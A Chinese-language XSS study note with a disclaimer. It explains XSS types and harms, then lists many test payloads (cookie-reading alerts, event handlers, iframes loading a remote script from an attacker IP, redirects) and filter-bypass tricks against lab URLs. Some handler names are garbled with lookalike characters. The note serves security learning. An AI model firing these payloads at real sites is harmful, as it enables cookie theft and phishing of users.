郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
XSS 跨站脚本
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
XSS 跨站脚本
1 XSS 介绍
-
XSS(cross-site scripting):通过 WEB 站点漏洞,向客户端植入恶意脚本代码,实现对客户端的攻击目的
-
主要危害:
- 盗取 cookie
- 未授权操作:利用 JavaScript 的特性,直接代替用户在 HTML 进行各类操作。
- 按键记录:JavaScript 的功能十分强大,它还能够记录用户在浏览器中的大部分操作。比如:鼠标的轨迹、键盘输入的信息(账号名和密码)等。
- 钓鱼:
- 通过修改 DOM,伪造一个登录框,来诱导用户在本不需要登录的页面,去输入自己的用户名和密码。
- 通过重定向,本来访问正常站点,但却访问了另一个被黑客伪造的站点,输入了账号、密码
-
XSS 漏洞类型:
- 反射型(非持久):通过诱使(如邮件)被攻击者点击恶意链接访问,触发 XSS 脚本。
- 存储型(持久型):XSS 脚本保存在服务器端,如果服务器没有过滤或过滤不严,每当有客户请求存在 XSS 脚本的页面时,都会触发脚本执行。
- DOM 型(反射型):DOM型XSS其实是一种特殊类型的反射型XSS,基于DOM文档对象模型的一种漏洞。在本地执行,不去向浏览器去发送请求
2 测试 XSS 语句
2.1 基于 HTML 事件类型
HTML 事件的例子:
- 当用户点击鼠标时
- 当网页已加载时
- 当图像已加载时
- 当鼠标移动到元素上时
- 当输入字段被改变时
- 当提交 HTML 表单时
- 当用户触发按键时
1. 弹窗测试
<script>alert(document.cookie)</script>
<script>alert('XSS')</script>
<script src=data:text/javascript,alert(document.cookie)></script>
<script>alert(String.fromCharCode(88,83,83))</script>
<!-- navigator.userAgent:显示当前访问的 userAgent -->
<script>alert(navigator.userAgent)</script>
<script>alert(document.cookie)</script>
2. 页面加载测试
<body οnlοad=alert('XSS')></body>
<br size="&{alert('XSS')}">
<object type=text/html data='javascript.:alert("XSS");'></object>
"+alert('XSS')+"
<style. type="text/javascript">alert('XSS');</style>
<form action=javascript:alert("XSS")><input/type=submit>
<input autofocus>
<meta http-equiv="refresh" content="0";>
<input οnfοcus=alert("XSS") autofocus>
<input οnblur=alert("XSS") autofocus><input autofocus>
<marquee onstart=alert("XSS")></marquee>
2.2 基于 img
标签
<!-- 当图片来源是错误的时候,就会产生 error,去执行后面的 alert -->
<img src=X onerror=alert(document.cookie)>
<ImG/sRc/OnErRoR=alert(document.domain)>
2.3 基于 a 标签
<A href=http://www.aaa.com/>link</A>
<a herf="οnclick=alert('XSS')">type</a>
<!-- 需要浏览器禁用 XSS 筛选 -->
<a οnmοuseοver=alert('XSS')>οnmοuseοver</a>
<a href=javascript:alert('XSS')>οnclick</a>
2.4 iframe 框架
<iframe οnlοad=alert(document.domain)></iframe>
<iframe src="javascript:alert("XSS");"></iframe>
<iframe SRC="http://192.168.100.129/XSS.js" height = "0" width ="0"></iframe>
2.5 重定向
<!-- 恶意攻击者模仿正常用户要访问的页面,当点击访问以为是正常的页面时,重定向到模仿的页面,输入敏感的账号、密码等信息 -->
<script>window.location='http://192.168.100.129'</script>
3 XSS 绕过方法
3.1 大小写绕过
<sCRipt>alert(1)</sCRipt>
例:
http://www.lab.com/xss/xss01.php?name=<sCRipt>alert(1)</sCRipt>
3.2 转换标签
<img src=x οnerrοr=alert('XSS')>
例:
http://www.lab.com/xss/xss01.php?name=<img src=x οnerrοr=alert('XSS')>
3.3 更换测试函数
<script>confirm('XSS')</script>
<script>prompt(document.cookie)</script>
<script>setTimeout(alert(document.cookie),0)</script>
例:
http://www.lab.com/xss/xss01.php?name=<script>confirm('XSS')</script>
3.4 闭合 js 语句
- 前提是测试语句包含在
<script>测试语句</script>
标签中 //
为 js 语言的注释语句
1. 闭合双引号
";alert(1)//
2. 闭合单引号
';alert(1)//
3. 闭合 <> 号
'><script>alert('XSS')</script>
"><script>alert('XSS')</script>
例:
http://www.lab.com/xss/xss08.php?name=";alert(1)//
3.5 拼凑标签
- 后端会对输入的标签进行有且只有一次的替换
<sc<script>ript>alert('XSS');</sc</script>ript>
例:
http://www.lab.com/xss/xss05.php?name=<sc<script>ript>alert('XSS');</sc</script>ript>
等价于
http://www.lab.com/xss/xss05.php?name=<script>alert('XSS');</script>
3.6 URL中的 XSS
- 利用的前提是页面文档中存在调用 URL 的方法。如:
$_SERVER['PHP_SELF']
οnsubmit="alert(1)
例:
http://www.lab.com/xss/xss11.php/" οnsubmit="alert(1)
&'><script>alert(1